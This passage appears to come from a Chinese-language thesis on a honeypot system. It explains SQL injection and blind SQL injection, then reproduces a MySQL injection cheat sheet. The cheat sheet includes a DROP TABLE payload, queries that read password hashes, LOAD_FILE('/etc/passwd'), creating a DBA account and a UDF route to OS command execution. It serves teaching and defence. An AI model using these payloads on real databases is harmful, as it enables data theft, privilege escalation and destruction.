第三章、 誘捕網系統
第二節、 SQL Injection 技術介紹
電腦系統的安全一直是個重要的議題,目前一般的電腦管理者都會替系統 安裝修正檔,防毒軟體,架設防火牆等等,但可能由於程式設計者的疏忽,而導 致系統中存在漏洞,使得攻擊者得以利用這樣的漏洞。
在現今的應用程式架構中,大部分都含有資料庫,以容納各式各樣的資料。
而在各類型的資料庫中,又以結構化查詢語言(SQL Structure Query Language)為 基礎的關聯式資料庫管理系統(RDBMS Relational Database Management System) 最為流行。
17
SQL injection 是常見的一個重大威脅,而且針對含資料庫的應用程式。SQL injection 是利用輸入特殊命令,讓系統將之與標準的資料庫查詢程式和資料合併 在一起,送給資料庫管理系統執行,因此有一段有害的程式碼被正常的程式碼包 裝起來形成『隱碼』,直接對資料庫存取資料或進行破壞,進而造成資料庫損毀 或資料流失。SQL injection 本身不僅可以由網頁上的欄位(HTTP POST method) 發起攻擊,也可以直接從附加在 URL 變數以 HTTP GET method 送出。此外,更 有相當多的變形(如子字串組合)與編碼手法(如 unicode),攻擊者可以技巧性的繞 過網站上之防護措施。因此針對未知之 SQL injection 攻擊字串之分析實為一大挑 戰。
2.1.SQL injection 的弱點形式 (1) 未做適當的字元(串)過濾
statement = "SELECT * FROM users WHERE name = '" + userName + "';"
a' or 't'='t
18
作為 input 來做 SQL 查詢字串合成的話,就會合成出下列的 SQL 查詢字串:
如果這樣的程式碼被用在對使用者的身分認證的話,由於't'='t'永遠是 true,
將導致身份認證成功,且取得某一個合法使用者的身份及權限。
SQL injection 也有可能發生在沒有做正確的變數型態處理的 web application 中,例如:
這個 SQL statement 中,a_variable 應該要是一個正整數的值,以查詢與其 相符的 id 的資料,但若程式設計者沒有對 a_variable 做是否為整數的檢查時,當 下列的字串
被輸入為 a_variable 變數的值時,就會執行 drop(delete) users 這個 table,
產的 SQL 查詢字串如下:
(3)資料庫伺服器內部的弱點
資料庫伺服器的軟體本身也有可能存在弱點,像是 MySQL server 的 mysql_real_escape_string()函式,能使攻擊者用 unicode 的編碼方式,繞過程式設 計者的過濾,而成功執行 SQL injection。
SELECT * FROM users WHERE name = 'a' OR 't'='t';
SELECT * FROM DATA WHERE id=1;DROP TABLE users;
1;DROP TABLE users
statement := "SELECT * FROM data WHERE id = " + a_variable + ";"
19
(4)Blind SQL Injection
當 SQL injection 的結果不會呈現在網頁的頁面上時,攻擊者有可能使用以 下的方式來做 injection 有沒有成功的檢查:
a. 條件的 respones
其中一種 blind SQL injection 的方法是在 select 敍述句中加上永遠成立,或 是永遠失敗的條件式,如下所列:
會產生原來的結果(不會影響)
會產生與原來不同的結果,攻擊者可以藉此來判別是否有 SQL injection 的 弱點或是 SQL injection 是否成功。
b. 條件的 errors
這個種類的 blind SQL injection 在 where 條件式成立的時候會產生 SQL 的 error,例如:
如果 Ralph 這個 username 存在的話,就會造成除以零的例外,而攻擊 者能夠藉此來找出可能被使用的 schema。
c. 時間延遲
攻擊者可以嵌入需要一段足夠長時間執行的 query,用 web server 回傳結果時間延遲來判斷是否有 SQL injection 的弱點或是 SQL injection 是否成功,快速回應可能表示 SQL injection 失敗,過一段時間才回應 可能表示 SQL injection 的注入碼有被成功執行。
d. 一些可以用在 SQL injection 的 select 敍述命令
Version SELECT @@version
Comments SELECT 1; #comment SELECT /*comment*/1;
Current User SELECT user();
SELECT booktitle FROM booklist WHERE bookId = 'OOk14cd' AND 1=2;
SELECT booktitle FROM booklist WHERE bookId = 'OOk14cd' AND 1=1;
SELECT 1/0 FROM users WHERE username='Ralph';
20
SELECT system_user();
List Users SELECT user FROM mysql.user; -- priv List Password
Hashes SELECT host, user, password FROM mysql.user; -- priv Password
Cracker John the Ripper will crack MySQL password hashes.
List Privileges
SELECT grantee, privilege_type, is_grantable FROM information_schema.user_privileges; -- list user privs SELECT host, user, Select_priv, Insert_priv, Update_priv,
Delete_priv, Create_priv, Drop_priv, Reload_priv, Shutdown_priv, Process_priv, File_priv, Grant_priv, References_priv, Index_priv, Alter_priv, Show_db_priv, Super_priv, Create_tmp_table_priv, Lock_tables_priv, Execute_priv, Repl_slave_priv, Repl_client_priv FROM mysql.user; -- priv, list user privs
SELECT grantee, table_schema, privilege_type FROM
information_schema.schema_privileges; -- list privs on databases (schemas)
SELECT table_schema, table_name, column_name, privilege_type FROM information_schema.column_privileges; -- list privs on columns
List DBA Accounts
SELECT grantee, privilege_type, is_grantable FROM
information_schema.user_privileges WHERE privilege_type = 'SUPER';
SELECT host, user FROM mysql.user WHERE Super_priv = 'Y'; # priv
Current
Database SELECT database()
List Databases SELECT schema_name FROM information_schema.schemata;
--for MySQL >= v5.0
21
SELECT distinct(db) FROM mysql.db -- priv
List Columns
SELECT table_schema, table_name, column_name FROM information_schema.columns WHERE table_schema != 'mysql' AND table_schema != 'information_schema'
List Tables
SELECT table_schema,table_name FROM
information_schema.tables WHERE table_schema != 'mysql' AND table_schema != 'information_schema'
Find Tables From Column Name
SELECT table_schema, table_name FROM
information_schema.columns WHERE column_name = 'username';
-- find table which have a column called 'username'
Select Nth Row
SELECT host,user FROM user ORDER BY host LIMIT 1 OFFSET 0; # rows numbered from 0
SELECT host,user FROM user ORDER BY host LIMIT 1 OFFSET 1; # rows numbered from 0
Select Nth Char SELECT substr('abcd', 3, 1); # returns c
Bitwise AND SELECT 6 & 2; # returns 2 SELECT 6 & 1; # returns 0
ASCII Value ->Char
SELECT char(65); # returns A Char -> ASCII
Value SELECT ascii('A'); # returns 65
Casting SELECT cast('1' AS unsigned integer);
SELECT cast('123' AS char);
String
Concatenation
SELECT CONCAT('A','B'); #returns AB SELECT CONCAT('A','B','C'); # returns ABC
If Statement
SELECT if(1=1,'foo','bar'); -- returns 'foo'
Case Statement SELECT CASE WHEN (1=1) THEN 'A' ELSE 'B' END; # returns A
Avoiding Quotes SELECT 0x414243; # returns ABC
22
Time Delay SELECT BENCHMARK(1000000,MD5('A'));
SELECT SLEEP(5); # >= 5.0.12 Make DNS
Requests Impossible?
Command Execution
If mysqld (<5.0) is running as root AND you compromise a DBA account you can execute OS commands by uploading a shared object file into /usr/lib (or similar). The .so file should contain a User Defined Function (UDF).
raptor_udf.c
explains exactly how you go about this. Remember to compile for the target architecture which may or may not be the same as your attack platform.Local File Access
...' UNION ALL SELECT LOAD_FILE('/etc/passwd') -- priv, can only read world-readable files.
SELECT * FROM mytable INTO dumpfile '/tmp/somefile'; -- priv, write to file system
Hostname, IP
Address Impossible?
Create Users CREATE USER test1 IDENTIFIED BY 'pass1'; -- priv Delete Users DROP USER test1; -- priv
Make User DBA GRANT ALL PRIVILEGES ON *.* TO test1@'%'; -- priv Location of DB
files SELECT @@datadir;
Default/System Databases
information_schema (>= mysql 5.0) mysql
表格 16、SQL injection 的 select 敍述命令表
23
已知的 SQL Injection 攻擊 手法皆無法繞過防護等級四
根據攻擊者輸入的 SQL injection 攻擊字串所達到技術等級的不同,在適當的時 間後,給予不同的防護等級。
不同的防護等級會給予攻擊者不同程度的阻力,讓攻擊者以為網站管理者已對漏 洞做修補,誘使他用進階方式攻擊網站。